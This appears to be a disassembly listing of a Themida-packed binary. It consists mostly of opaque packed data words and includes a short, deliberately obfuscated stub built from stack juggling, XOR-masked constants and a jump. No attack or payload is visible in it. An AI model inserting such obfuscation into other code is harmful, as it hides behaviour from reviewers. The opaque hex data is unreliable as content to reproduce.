		dd 18442EA3h, 0B32ECAE2h, 0BF2A4818h, 3C30BCC3h, 0B3C4B714h
		dd 0BC8E70D7h, 74DF3C30h, 38F26C48h, 0BE25C872h, 0B6C7D6C3h
		dd 0D774DA24h, 5300DBECh, 0F355F850h, 0CC89FA76h, 9375868Ah
		dd 8CD02F5Dh, 0B3000000h, 8EB4113Fh, 6688B4h, 5A2B39B2h
		dd 0F44628A1h, 6A529DD4h, 0E3F67466h, 96130858h, 38A9733Ah
		dd 8A28B134h, 6AE17B6Eh, 5950001h, 39CB6A94h, 73CEB017h
		dd 9FB41186h, 5EDDA959h, 21DA39EEh, 0D1193DA8h,	9E6BDE6Bh
		dd 7CBDF4A7h, 850FF356h, 0F360B083h, 5F5344F8h,	0DE582C7Bh
		dd 0EA08F693h, 83DA837Fh, 8477D4B0h, 588397B1h,	0B3DF981Ah
		dd 116h, 9F49C857h, 954FBFB5h, 945DF6D1h, 0CEB0173Bh, 1FB083E6h
		dd 1BACB7B4h, 4B70A71Ah, 2BBEC027h, 0A40F3A52h,	0E92F423Fh
		dd 7B290B2h, 3A522B3Bh,	256C1F8Ch, 9B569998h, 32EC0F06h
		dd 0B76EECAFh, 9A8F1DFAh, 2604A9F6h, 0B0DB9446h, 32E919C6h
		dd 74EE09B7h, 6CA67959h, 0B6435447h, 37423C7Fh,	0CDB4BDFEh
		dd 5C806263h, 8F8D99FBh, 36F2C23h, 13E8454h, 9E1B3B9h
		dd 0D0D3048Dh, 0A4D299F7h, 7A74DF54h, 0BA983D13h, 7B34B00Fh
		dd 4820196Fh, 67B44D6h,	44CBF3C1h, 0D3140CA3h, 0DFB6B50Eh
		dd 0F9D7FB58h, 888E70D7h, 74DF78C1h, 734EA77h, 8B66817h
		dd 0C1885D61h, 15C4AE78h, 78C18829h, 90B2117Ah,	0C1885529h
		dd 0A64DA678h, 5B5EBFBBh, 0A1767398h, 1078h, 2AE40300h
		dd 0B05E857Fh, 2DE11E01h, 0AD618282h, 2FDF1C02h, 0DA3CB94Ch
		dd 42BEE9A5h, 0C7426D21h, 46BFEAA4h, 1E3C6925h,	73EFC7BBh
		dd 0DFC01832h, 28D6051Bh, 7DBE774Ah, 122E37Eh, 113F640Dh
		dd 0C2B8EB4h, 51CC5EBh,	8E296B89h, 0D3769CFFh, 981F7D3Dh
		dd 0DD53363Bh, 64FABCD6h, 0DC3BE372h, 41EAE13h,	5676C5E9h
		dd 4D472DBDh, 0EFAD5ECAh, 11C8F4DEh, 103E9BEEh,	2447C24Fh
		dd 0CC89825Dh, 475868Ah, 5D0F508h, 0B3000001h, 18D91A1Bh
		dd 0A56C9385h, 1C18A7C9h, 0CBD16DBh, 3A522B32h,	76732883h
		dd 0ACF84C5Ah, 48E28C21h, 0E2B29ACAh, 552825Ch,	14EE5979h
		dd 65C50FAFh, 3DA01506h, 354AABADh, 80972A44h, 643D965Bh
		dd 0F28F8CB3h, 24FEF033h, 46021A38h, 0DE9D60EEh, 602142C3h
		dd 0DCF6DF71h, 3BDDDE6Dh, 0BCDCA733h, 76F07EF0h, 24486BABh
		dd 0C15583B3h, 0B831EA0Fh, 9FDAB37Bh, 0B3F032FDh, 0DB38BFB8h
		dd 2F96B823h, 0A0622D13h, 76E65983h, 9D3BFAB0h,	4887EBDEh
		dd 0CD0A2908h, 127A495Eh, 1844DAAFh, 39921D65h,	6B908619h
		dd 0ED1204B3h, 0B5AFD0F4h, 62C1C001h, 0F38h, 6A2443C0h
		dd 0F09EC53Fh, 6D215EC1h, 0EDA1C242h, 6F1F5CC2h, 9A7CF90Ch
		dd 2FEA965h, 87822DE1h,	6FFAA64h, 0DE7C29E5h, 73EE877Bh
		dd 9F80D832h, 73A4051Bh, 19D81B1Ah, 92351DB6h, 3A522BB0h
		dd 3D319201h, 0BEB0F332h, 0F50CD64h, 0E97A7152h, 18D91A1Bh
		dd 0B36B8C85h, 918D0628h, 6ACDF54Eh, 8536DA7Bh,	0B7F63018h
		dd 0A6F46D27h, 84327EF8h, 0A4BEA40Fh, 0C70B4935h, 52542F3Bh
		dd 3A28E1DEh, 582A8D7Dh, 0A93BC68Ch, 9FF2A94Ah,	88AF5B3Ah
		dd 5CC69860h, 0C29C6F37h, 0E6E8369Ah, 7BBBC89Eh, 0FD563938h
		dd 0BCC18BFEh, 7DFEF242h, 617A9EB8h, 0BCBA7558h, 0A30h
		dd 1E5DC34Eh, 0F88B8063h, 3F43A6CCh, 903A522Bh,	0D37D6823h
		dd 2AFCC671h, 574D3A52h, 3D6332B9h, 4EF54E05h, 2BC574h
		dd 0DCB3EFEFh, 9F000126h, 0B99DFDECh, 187BBEABh, 0C7340B0Dh
		dd 0A8CA29AEh, 47DA1D19h, 0A2EFACCFh, 9207B037h, 49F0D293h
		dd 8FA2375h, 3BAE6DC6h,	7E813D1Eh, 15B648C1h, 18A5CE46h
		dd 871AD718h, 0DEA66B90h, 64D791B7h, 38E33791h,	9387B439h
		dd 9B4h, 0D0CD93B7h, 12C4D357h,	0AE11D013h, 9AA02715h
		dd 990302AAh, 113FC1E2h, 3D2B8EB4h, 0D4B1D9FFh,	0E465986h
		dd 89308BDh, 75EFAC77h,	4F4C6FAAh, 64826448h, 6EE65D86h
		dd 0DF7F554Eh, 0A699828h, 0F3CD04E8h, 89285877h, 3ADABF92h
		dd 0F9FB2ED1h, 0FC062710h, 0BA2B06E6h, 98EB83D9h, 0F26DD4E3h
		dd 1C4226B9h, 6DAF9336h, 6100EA43h, 28E380BFh, 44280ACDh
		dd 0E4FC6548h, 3104F7D2h, 43F0DC17h, 0DB99CDD3h, 9740F9F2h
		dd 0F2195824h, 924h, 68978918h,	44C710B3h, 0E60CC967h
		dd 65B3FE83h, 7794636Eh, 67B2563h, 3C0513A5h, 9C992842h
		dd 0BC17A05Bh, 239ACEB3h, 53B16CE8h, 332C95DCh,	0E400407h
		dd 1943F168h, 41A53577h, 0B514A5Eh, 0D0117B88h,	75DB4268h
		dd 0ABC77250h, 37632E13h, 9487A868h, 0C88E6D15h, 527A54DAh
		dd 0FC8190A3h, 6F5A1124h, 15057228h, 0DB5BE66Dh, 4F363B98h
		dd 0E98C5DE1h, 0ED75B67Ah, 6C866C86h, 6A5E01FDh, 2F95287h
		dd 2E34D287h, 0DB07D3h,	0E00A5580h, 0BA020EFCh,	611A3889h
		dd 96901A68h, 61CA8177h, 3477AE81h, 0B5F62F3Ah,	9D3D8E7Ch
		dd 0A07772EBh, 0CC0h, 0F2ACCB48h, 78264DC7h, 0F5A9D649h
		dd 75294ACAh, 0F7A7D44Ah, 12048194h, 8A8631EDh,	0F0AB569h
		dd 8E8732ECh, 6604B16Dh, 73EBFF03h, 57E85032h, 18D91A1Bh
		dd 243E87A9h, 0C0D178B5h, 94F7D39h, 0C6C9696Eh,	435319C9h
		dd 0AC1BF780h, 0D55EECD2h, 732BC823h, 993AD5F5h, 8ACB7CCh
		dd 0C85E9613h, 45D6DA6h, 0AA77AE7Fh, 16DB0017h,	50B9BEBDh
		dd 2F9C163Dh, 3C63B48Bh, 0C9F62835h, 668CE7C8h,	5E4FFF03h
		dd 28E350D5h, 9A2744AFh, 3FA6589Bh, 2A8DB510h, 9DA9559Dh
		dd 0B343D876h, 45DC565Eh, 0F5F4A7C8h, 321E5FF2h, 2F32A136h
		dd 0CEC0E322h, 72FAAACBh, 0A461303Dh, 0BD775983h, 25C76825h
		dd 0D8378366h, 0B118BE6Bh, 44C8A22Ch, 9FC2AA84h, 0A3EEAD27h
		dd 0B8750CFFh, 39F88777h, 6B2649C4h, 3807EB88h,	0D8BBB6F9h
		dd 286B4E23h, 699B07F2h, 0B14F1ADBh, 1BFD94BEh,	9BC227E4h
		dd 0FB169707h, 726FB070h, 10023DFh, 0A2CC0A41h,	5691B7CEh
		dd 41F1CD7Ch, 68429165h, 6541FD01h, 7EE54E91h, 0C83DF48Dh
		dd 9356A256h, 0DDEBB6h
		dd 630E0063h, 9E8081A2h, 12CF0C13h, 0EDCFBAB1h,	5CA24031h
		dd 0B6A83E30h, 0DBCC5C80h, 0AFB91CB8h, 0FD5A2493h, 40AB4A6Eh
		dd 0B1806A4Bh, 0CD31306Fh, 6EFD986Ah, 0E98AE94Ah, 0C9F3B732h
		dd 0AEB97135h, 0C9ECA973h, 197CA7Ah, 0C129F62h,	3C17EB4Eh
		dd 0B6823A8h, 0A2E9A968h, 276E4A24h, 5B9C95A1h,	15ECAA3h
		dd 1BF10000h, 26F9D91Ah, 0E7C8C9EAh, 0D9015D34h, 1C537DC9h
		dd 0EB76751Ch, 0A1040D2Eh, 5B8161BFh, 0C578D3DEh, 0CA01641Ch
		dd 1C380BBDh, 0CCAF9336h, 0F295F2F1h, 5B9D1438h, 21DA39EEh
		dd 728E9B4h, 9DC254EBh,	91AF93DEh, 0F1615C26h, 643D42F2h
		dd 0E4F1D3C7h, 92130863h, 8E3919BCh, 4C51B759h,	0BE551572h
		dd 2EBE21D7h, 466EBADCh, 2B3BD926h, 0E497FD06h,	99C82398h
		dd 67AA9F7Fh, 0AD95726Fh, 3500000Ah, 0BAC5B9FEh, 34433B78h
		dd 0B7C2BCE3h, 37423C7Fh, 81C4BAE1h, 0F827F96Ch, 7CBF7B06h
		dd 0F93AF782h, 78BB7A05h, 0CE79F986h, 3273E9F4h, 1B52EB45h
		dd 8518D91Ah, 827CEB93h, 0D33A522Bh, 14967AF1h,	3390C3FFh
		dd 56D3DE90h, 0D74E5915h, 49CFDA94h, 0DC424F12h, 0B7CEE29Fh
		dd 4BCB5691h, 0C84E7328h, 93A4DB93h, 0EE696648h, 7, 0CFD1D5h
		dd 0CCF20000h, 2B3F43A6h, 9C903A52h, 51282EDCh,	0A01621Ch
		dd 0CA4BBE77h, 6C07E8A9h, 40A7C9A5h, 3A51E03Eh,	2238248Fh
		dd 20F82E48h, 0EEF1D893h, 8F4B4DDCh, 317E7E4Fh,	3519AA2Dh
		dd 32062A00h, 0D859E563h, 5DD8E797h, 4072571Ah,	43341F5Fh
		dd 788894CDh, 0A2ADBD9Dh, 4692D557h, 95840755h,	30E0CD50h
		dd 83BF1978h, 0A96586h,	14DD1E1Bh, 88AB673Ah, 0F033EE93h
		dd 82A55CF1h, 0F033F27Fh, 12B07F1h, 8B6262F5h, 0EE78DEB5h
		dd 59E56322h, 0FCE39BDCh, 0B776261h, 7C1CC206h,	0C6BAA289h
		dd 4774AB5Ch, 59B83425h, 0CBF7DAA2h, 9C98078Fh,	38C62CA8h
		dd 26912981h, 0F9B3CD5Ch, 3EA53EADh, 0C808B14Bh, 0FE450A28h
		dd 0D171FFFFh, 51Ch, 0D91A1BF2h, 0D0E8D1F9h, 166F75C6h
		dd 17A90C65h, 0F6ED34B8h, 0D79C5150h, 0FF20DDB4h, 0B2EAA102h
		dd 0F4433D2Fh, 0CC7B5599h, 0D48A5CF2h, 0C233E843h, 0FB4781CCh
		dd 7A05F93Ah, 957978BBh, 5D320CBBh, 2883D48Ah, 26357673h
		dd 0EBCF377Ah, 0C59D400Bh, 0A425D650h, 7CD7FD6Bh, 65867C5Fh
		dd 50EDBE0Fh, 7FA05CD1h, 9AB41DE4h, 25EC0B09h, 274929CAh
		dd 0BFA49E49h, 96F50EAAh, 0E8DBE4E5h, 92BCD911h, 43BB61A9h
		dd 0CC85C7DEh, 49A21706h, 1853D618h, 28FFFAB3h,	8D4h, 8E80A75Ch
		dd 0C0221E3h, 8985BA5Dh, 90526DEh, 8B83B85Eh, 7EA015A8h
		dd 0E6224D41h, 639EC9C5h, 0E2234E40h, 0C2A0CDC1h, 73E82B17h
		dd 8B147C32h, 0FD63A0CCh, 111F7CADh, 0ADCE475Ah, 8A688AE4h
		dd 51D3E3DFh, 72D7343Ah, 3A51D490h, 6A2754CBh, 0A665CE89h
		dd 0FCD6051Bh, 0D0CBEC25h, 122E38Eh, 7FBC620Dh,	0F50CC63h
		dd 0B77A7152h, 23C674AAh, 3A51D41Fh, 0A1600370h, 0E652740Bh
		dd 3C130B30h, 69660F9Bh, 3FBF6h, 1C361C00h, 51CCD1ADh
		dd 20C9223Ah, 3A51CC1Eh, 0CC635F0Ah, 57B43A51h,	7B47F2E0h
		dd 0CC3A51CCh, 7C07045Fh, 5D34103Fh, 0E7DB7EA1h, 383A522Ah
		dd 0C7978DBh, 2E7370CAh, 92A61FDh, 0C18FF2AEh, 0BB3B632Bh
		dd 2F3275B0h, 139A64D3h, 80EB814Eh, 332E71B1h, 89FBFBC9h
		dd 334DDB78h, 0BB70FA5Ch, 9F38DCFAh, 0FAB06213h, 390h
		dd 0B5103F61h, 754C2A8Dh, 0C1503B4Ch
dword_67DB68	dd 82672443h, 7AFAF39Ch, 0E1D3F7D3h, 1C40C34Bh,	2B2F9A51h
					; DATA XREF: Themida_:005D5135o
		dd 0EA390E24h, 9E0B0665h, 8CD7813Bh, 7D64AA70h,	0D37CE14Ah
		dd 0A0B74E32h, 19D81F15h, 0A56C9384h, 145E7817h, 9478DE97h
		dd 6248A283h, 33FDEh, 103FC500h, 4B38DB5h, 3A522B3Ah, 76B208Bh
		dd 0EF4DD660h, 680949FEh, 0EDCDB2F0h, 0D84F45C5h, 0FA42393Bh
		dd 181CCB97h, 0F853DCB1h, 0A8CB47DAh, 973B9EF3h, 5A5EAD95h
		dd 45996CC8h, 3DFB1DF4h, 0F2D31241h, 0C3B81BB6h, 354D6FD2h
		dd 0A92A410Ah, 95A66AECh, 0F0E6FD03h, 2E4h, 3073AF82h
		dd 103F283Bh, 0FF648783h, 8FD04CE3h, 1BD376DCh,	26C39379h
		dd 0D7DC8950h, 344E50B9h, 58DFDA38h, 682956C9h,	0C025EC87h
		dd 3455C55Ah, 9C66D585h, 557BEE48h, 0A53B632Ch,	48221CCBh
		dd 0A05D349Eh, 0A621827Fh, 7D0E4E4Dh, 0BC539EB8h, 0F037ED40h
		dd 2C358EF1h, 0AA60DECCh, 12B10E1Ah, 0EDF72059h, 795263B2h
		dd 49000002h, 18D91A1Bh, 0B36B8C85h, 0A3BF0628h, 0DDD61434h
		dd 66866C6Fh, 5B83FC81h, 0F9C574B9h, 0DF04C67Eh, 0D1434749h
		dd 0CE3DFAE2h, 0DFA2C143h, 0E3A20704h, 4910CE51h, 5B9C9827h
		dd 0BFBB14EEh, 150665F8h, 1FCAA882h, 0F8BFBB23h, 8D3A9074h
		dd 0F51096D6h, 25F66E4Eh, 0AB53108Eh, 6565F9F0h, 0C6BB327Fh
		dd 7ABA856Dh, 8AEF4239h, 0C0186C12h, 0C682F7C1h, 0F4D8F233h
		dd 0CE1AA08Eh, 0E3C6C569h, 0BCCDB43Bh, 0EB6D2899h, 53231427h
		dd 616F02h, 3F540000h, 38EB411h, 5504DE1Dh, 3A522B69h
		dd 0B89A51BAh, 93A10811h, 5A8CB556h, 0B91C681Ch, 9A267E6h
		dd 27DF7AF5h, 37A25F04h, 2AC5005Dh, 0B0DB9B9Ch,	0EAA5185Ch
		dd 0B40068EFh, 0DFE21DDh, 0F536EF8Ah, 0FFBF61ECh, 5F336658h
		dd 0F75CB78Eh, 0E96F26FAh, 0CF09CC7Fh, 7372B04Bh, 1190BBDh
		dd 1B700000h, 0DF1581Ah, 5E3A522Bh, 0FE934EF5h,	0BF76218h
		dd 5C3A522Bh, 8D54EFh, 0D804DE01h, 0B98E1E02h, 5819D28Bh
		dd 916DDCF6h, 0E23A5130h, 0D79AC157h, 0FDA457FCh, 30FFE304h
		dd 0D0B3AEF1h, 397C631Bh, 0B782B0ACh, 658137E8h, 56EF1F00h
		dd 614843A0h, 0FC956522h, 2F70AD84h, 0B1DAA413h, 0C02BE74Eh
		dd 510E91CBh, 3250ACEh,	0B7B4EB2Ch, 0F83BFA85h,	0E2B19F06h
		dd 80620122h, 22D045D9h, 649E719Bh, 7D5D4C3Fh, 0B4DCF488h
		dd 893E5B11h, 6CC750C5h, 3665BB86h, 0E408EA48h,	49912BF7h
		dd 3FF6A6Bh, 54609659h,	0CDEE2AF7h, 9130EBC4h, 9668CF8Fh
		dd 0E7609659h, 59625C0Bh, 58B36096h, 536958FBh,	7380302Fh
		dd 50EA176h, 9D960000h,	1B19A856h, 809722DCh, 1C14A35Bh
		dd 829423DBh, 4FE2A15Dh, 671744DAh, 0E39BDC58h,	681659D4h
		dd 0E797D859h, 512D9CD6h, 0A23273E4h, 51B754Eh,	0F225FCD6h
		dd 0FC57849Bh, 78ABACD0h, 0F9F25FE1h, 0D854EB45h, 44BDE497h
		dd 0CC3E6B23h, 15A07A0h, 0C2B98794h, 3C45669Fh,	0CA28FAE2h
		dd 6E395DB4h, 3C4566A3h, 1819A863h, 0BCC027D7h,	239D2592h
		dd 0DB115E08h, 0E92840A5h, 0A7C3352Bh, 6B241EC9h, 0A35F72AAh
		dd 0A91E8180h, 14DD1A18h, 626318BBh, 7E909CCh, 0AA6B5E60h
		dd 4744AF72h, 0DC127CEBh, 0CD55D5B4h, 74665D1Eh, 0C712C4D1h
		dd 0A972CE6h, 918DE615h, 0E9160897h, 0AFD4C728h, 0F9D91A1Bh
		dd 2B8E70D7h, 74DF3A52h, 0C958BA77h, 9C4B2748h,	3A522BA2h
		dd 0BEE398F3h, 636A2447h, 7FEA08CDh, 0B0264DC0h, 0E29722A9h
		dd 0CB52F72Ch, 2B71F717h, 51343D96h, 0B096501Ah, 396CEC23h
		dd 75656842h, 0A9798BEBh, 15DC1F16h, 0C084A633h, 0CD267965h
		dd 38FD8ECEh, 59E1FA1Eh, 7D3CA09Bh, 1F000000h, 8782113Fh
		dd 0FDE3FF64h, 0B0B1F232h, 0A9AD1CCFh, 5C9D2FB2h, 15531475h
		dd 27048265h, 1812B6C2h, 0C644A434h, 6AF81F23h,	0D903707Ch
		dd 8F8AC967h, 0A94AA56Ch, 8B86E5F2h, 4A70931Eh,	120EA1E6h
		dd 4EAF1AD1h, 44765299h, 3AC7BB1Eh, 0BB18AEC4h,	9670D5C0h
		dd 72B8DCE6h, 3C45669Fh, 8A4DA863h, 0D61919A8h,	22F65025h
		dd 0D3BFCDF9h, 0DCA6112Fh, 2DA4AB82h, 148ACDBEh, 0F1000001h
		dd 18D91A1Bh, 0A56C9385h, 0FB20F6C9h, 0F18B13D1h, 4744292Fh
		dd 9AB8FB3Ah, 8C2D11B8h, 8E7E3A51h, 0F8BAFD6Ah,	5348AB68h
		dd 71B273FEh, 57FF1A7Dh, 1D3D7359h, 8C10B706h, 7D6C1F15h
		dd 7703020Dh, 0E0730164h, 129DD841h, 931ED013h,	4F715192h
		dd 0DF9916E8h, 0F0C673Eh, 0D8FD5342h, 0C949D8FAh, 0C3F4F5A6h
		dd 0B4745A43h, 1F0AC3EBh, 0F52FDCBFh, 0AE810BC6h, 593C2F74h
		dd 0ABD047D2h, 0E14F5648h, 39564B5Dh, 1BB83623h, 0CFD11337h
		dd 0ED5EC433h, 8595442Eh, 30149AF9h, 0AC78FCF3h, 0C90EA518h
		dd 9C13CFCBh, 6A370BAEh, 2B886292h, 117AAC8h, 839524DAh
		dd 404D655Ch, 8081822Ch, 2AFA3h, 0B7FC3700h, 3D7AB8C7h
		dd 0BAE13641h, 3A7DB5C4h, 0BCE33544h, 0FB6E83C2h, 7908F625h
		dd 0F5847ABDh, 7807F738h, 0F78876B9h, 0E1F2CC7Bh, 0ED433273h
		dd 43A6CC54h, 3A522B3Fh, 2BC2BC2Bh, 0B8133A52h,	0C84C0DFFh
		dd 0D329C0DAh, 30E67B70h, 0AD64130Bh, 3FE7948Ah, 0B9C12D11h
		dd 0FB14EE59h, 6653A51h, 0E582A6E6h, 3291D64Ch,	4AD3A910h
		dd 7B3A4C70h, 19193BAh,	0BBB0F32Eh, 29921E81h, 0FA21DE6h
		dd 0B40FD209h, 0B0027DDh, 0E9A8038Ch, 78D56DFCh, 0ABAFA0Bh
		dd 6F4207FCh, 0C57774B7h, 0FC6B856Bh, 5FFD7102h, 6D51F853h
		dd 0BE5FFD71h, 4339655h, 9B7BC30h, 0ADB4EB2Ch, 433E61A0h
		dd 0B2BC1AF1h, 0CF1A3CF9h, 0E1A0DF40h, 0AB4C0DFEh, 63752F1h
		dd 101h, 0D91A1B7Dh, 0E5938518h, 0A3EA041Ch, 698A861Ch
		dd 3DA8690Ah, 0F124B555h, 8C458990h, 0E6E9EFh, 0A76236F9h
		dd 7DC9FCBh, 75DC5636h,	0D72AEB76h, 7758195Ah, 72BA9455h
		dd 0EB880563h, 0E98D8433h, 0ABAF847Eh, 0DD76D5CCh, 0C183AD14h
		dd 0ABAF2C16h, 0B50E7DCCh, 79052A8Dh, 880E41D6h, 0F6654A62h
		dd 45A99BF3h, 402499A9h, 5F1988EFh, 0DF8F34CAh,	87F45AF4h
		dd 19CD21D7h, 9A3D25BEh, 12A4D3ACh, 0E2050190h,	0F3D53D1Fh
		dd 78D7577Fh, 87A920DBh, 92E5D47Bh, 0C89FE2Fh, 5FD94A9h
		dd 0C7C41FE2h, 0F02D04EEh, 50BBBCAFh, 42799F72h, 0C4FB1D4Ch
		dd 97CD338Dh, 81D693B1h, 120h, 524C6BA8h, 0D8C6ED27h, 554976A9h
		dd 0D5C9EA2Ah, 574774AAh, 0B264E1F4h, 2AE6918Dh, 0AF6A1509h
		dd 2EE7928Ch, 664110Dh,	73E05F63h, 7748B032h, 28D6051Bh
		dd 12D09899h, 7B709E96h, 17AAC82Bh, 5F1FDC1Fh, 0D91A1B52h
		dd 6B8C8518h, 35EAB5B3h, 0F3A80B06h, 0CB475CF2h, 98274BA8h
		dd 0CE795986h, 3A522AF4h, 3D35E645h, 27BBF79Ah,	0AF7CBC21h
		dd 0F059A973h, 3273F26Dh, 7F63D0C5h, 0A5FCF55Bh, 96C34042h
		dd 3A2291C8h, 0DD0505CEh, 96AF887Ah, 817AD9C8h,	43649DB0h
		dd 0AC96411Fh, 0FDC896AFh, 16A1DD8Eh, 6E06551Fh, 3053D4A0h
		dd 9A46FC2Ah, 31923110h, 14C64530h, 478FB4DCh, 70F6FE2Bh
		dd 6CA88CF9h, 0C2AC94C4h, 0AB05619Ah, 4775135Ch, 0D7E6565Ch
		dd 0FE3734BFh, 82A55CD8h, 324DD8Ch, 0E9B373FEh,	24933BFFh
		dd 0BEDC815Ah, 601C40ABh, 0BA983B63h, 39082BE7h, 72BFBCFBh
		dd 0AE399FD6h, 2FF3CE3h, 5ED7EAA1h, 28EEDC96h, 0E11B6B0h
		dd 1DD172D1h, 91509392h, 3B2h, 0FAC9E900h, 16DB181Bh, 0A8698A8Bh
		dd 1AD71815h, 0A9688B87h, 14DD0214h, 0A9689789h, 16DB1C14h
		dd 0AA67948Bh, 1BD61D17h, 0E0895065h, 405h
		dd 4E88300h, 5C240487h,	68242C89h, 21C6h
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	7DE3A0Fh
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		xor	dword ptr [esp], 2F745B66h
		pop	dword ptr [ebx+8]
		push	eax
		mov	eax, 2F745B66h
		xor	[ebx+8], eax
		pop	eax
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_603296
; ---------------------------------------------------------------------------
		db 93h,	36h, 0BEh
		dd 818559Fh, 6FEDEACFh,	0B8B8445Ch, 307DE4Ch, 85E0FFC5h
		dd 977E4B32h, 5718573Fh, 5004E7C9h, 0B055458Eh,	760D2299h
		dd 752D553Fh, 350C91AEh, 8962FC4Dh, 22531631h, 447DA316h
		dd 0F6071C1Bh, 0A72AC573h, 859F4FCh, 643EE2C6h,	0A81C3935h
		dd 5907BC4Dh, 0C156B68h, 9502AA8h, 5904FAD4h, 0B32190EDh
		dd 964F3317h, 71796CE4h, 8D04C64Ah, 0DE4E7F8Dh,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 89990F33h, 0D329418Dh, 55858907h, 0C707D326h, 0D32BA185h
		dd 5DA807h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 89E98044h, 0D308598Dh, 1D858B07h
		dd 0C707D325h, 0D3331185h, 7, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 755FCDEEh
		dd 1A79B5FFh, 0FFFC07D3h, 0D32D3D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 219BD1D0h, 14E9h, 5FF53900h,	0ACCA082Dh, 73F31D56h
		dd 71F6363Bh, 2531C0EBh, 0FF006A77h, 0D3301995h, 0EBC08B07h
		dd 0AE2FDE1Bh, 0CCC21F4Ch, 750FBFBDh, 0A7B39804h, 0E01BD07Fh
		dd 1E6CEBBDh, 1A90C9FBh, 10E8h,	2CD99600h, 4BFD51FCh, 467A2562h
		dd 0CFC9B029h, 605BFC25h, 0A258D8Bh, 0E28A07D3h, 26C38161h
		dd 29000068h, 0D30C1DB5h, 24C8BF07h, 0EF811863h, 18630AF7h
		dd 38BF08Bh, 2FC99533h,	0F08107D3h, 253607CDh, 14E9h, 0F1D90500h
		dd 0E7A49C36h, 283321FFh, 813C2E0Ch, 2A8864E8h,	2AF0816Ah
		dd 0E96FD3AAh, 0Fh, 52302E58h, 0D342DD3h, 3306AD73h, 8111FD07h
		dd 2FCABDE8h, 8E903h, 0A3910000h, 0E90F03C4h, 525047A1h
		dd 8F5EBBB1h, 0D1BD2903h, 8307D314h, 810F04EBh,	6, 2DD8D8Bh
		dd 0F4F07D3h, 1B85h, 0E4D98000h, 32E9h,	6E09FB00h, 8A1FC4EFh
		dd 78CE0FB2h, 8663F27Eh, 0E46218CFh, 26818D8Bh,	63E907D3h
		dd 0D1FFFFFFh, 369DA8C8h, 0B17D9950h, 86FE4689h, 0C6F273FCh
		dd 8DCEDB80h, 0DE50278Dh, 0F5958907h, 8907D30Ch, 0D329418Dh
		dd 85896007h, 7D31C69h,	8832EF81h, 0C76105DDh, 0D32BA185h
		dd 5D7807h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0E749DB91h, 9E9h,	92FC9700h, 7BBD70EEh
		dd 85C70BB0h, 7D33311h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C9C35242h
		dd 0D950F6C7h, 0FFF1BF0Fh, 0D323C9B5h, 0F08B6607h, 2D3D95FFh
		dd 0DA8007D3h, 0FF006A41h, 0D3301995h, 0EBC08B07h, 8249BC38h
		dd 0E1C8505Fh, 3FB1DB59h, 0E7BBF3C5h, 7A36679Ch, 0BF7A1469h
		dd 8E62EA22h, 0FDB44C9Dh, 4DBF8B30h, 0CDFD0BF5h, 16CA4AECh
		dd 56E6CFB4h, 0AD22A8A7h, 0CE30A9Fh, 0BBC08B9Bh, 7BE39BF5h
		dd 13B1BD83h, 750007D3h, 3DBD8309h, 7D327h, 53501974h
		dd 0FCB8C08Bh, 89000003h, 0D3180585h, 99D8D07h,	0FF07DB28h
		dd 83585BD3h, 0D3273DBDh, 17740007h, 0FCB85350h, 89000003h
		dd 0D3180585h, 0F89D8D07h, 0FF07DB24h, 0FC585BD3h, 11820F60h
		dd 0E8000000h, 0Bh, 0C002BE43h,	29EBE82Eh, 5B2D0763h, 9E9h
		dd 45EF5500h, 0BD6BCAF1h, 6A61B474h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0AC02C353h
		dd 7138684Eh, 8160FC95h, 6FABFFDBh, 6E801h, 4A7A0000h
		dd 6AB267E8h, 615BF28Bh, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 53800EC3h, 6A8FF74Ah
		dd 0E94F56DEh, 0Ah, 3E55BD92h, 77007BEDh, 0BD8391F4h, 7D33255h
		dd 51840F01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 7281C355h, 0F3587EDh
		dd 585h, 0D3816600h, 0BA66326Dh, 0BD837C94h, 7D323A1h
		dd 15850F00h, 8B000000h, 25BD83D1h, 7D324h, 6E840Fh, 0C2810000h
		dd 1F89CDFDh, 34EE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 564C3747h, 3B587Dh, 0F000000h
		dd 128Bh, 0AE800h, 0AA5C0000h, 0CC078CE5h, 0F0E38ED0h
		dd 6A5A24B2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 2B60C357h, 0BB757AAAh,	60D2A26Ch
		dd 91EFD703h, 48D06599h, 33EF79h, 0A9B1B917h, 0C05E35E8h
		dd 0E3B66274h, 4AE9A165h, 42B24661h, 0D7B246CAh, 84B66247h
		dd 0A525A1F4h, 3C8D776Bh, 0F45F9B38h, 2AB66270h, 0C3B66230h
		dd 0A96A416Ah, 4A2EE803h, 2BE3AEC8h, 0C3B662A3h, 9C5BE38Ch
		dd 79B1BCBAh, 0A19D070Dh, 3B74E35Ch, 0A976E9C6h, 0C05E358Eh
		dd 0E3B66247h, 4AE9A1FCh, 42B246ADh, 0D4B246ACh, 84B66274h
		dd 5522A16Dh, 2BE6CDC1h, 0C3B66286h, 0CE4B6B1h,	0E82F5417h
		dd 9861E9B7h, 0A5926661h, 0CC4D61CEh, 3D922E3Bh, 0C3B672F4h
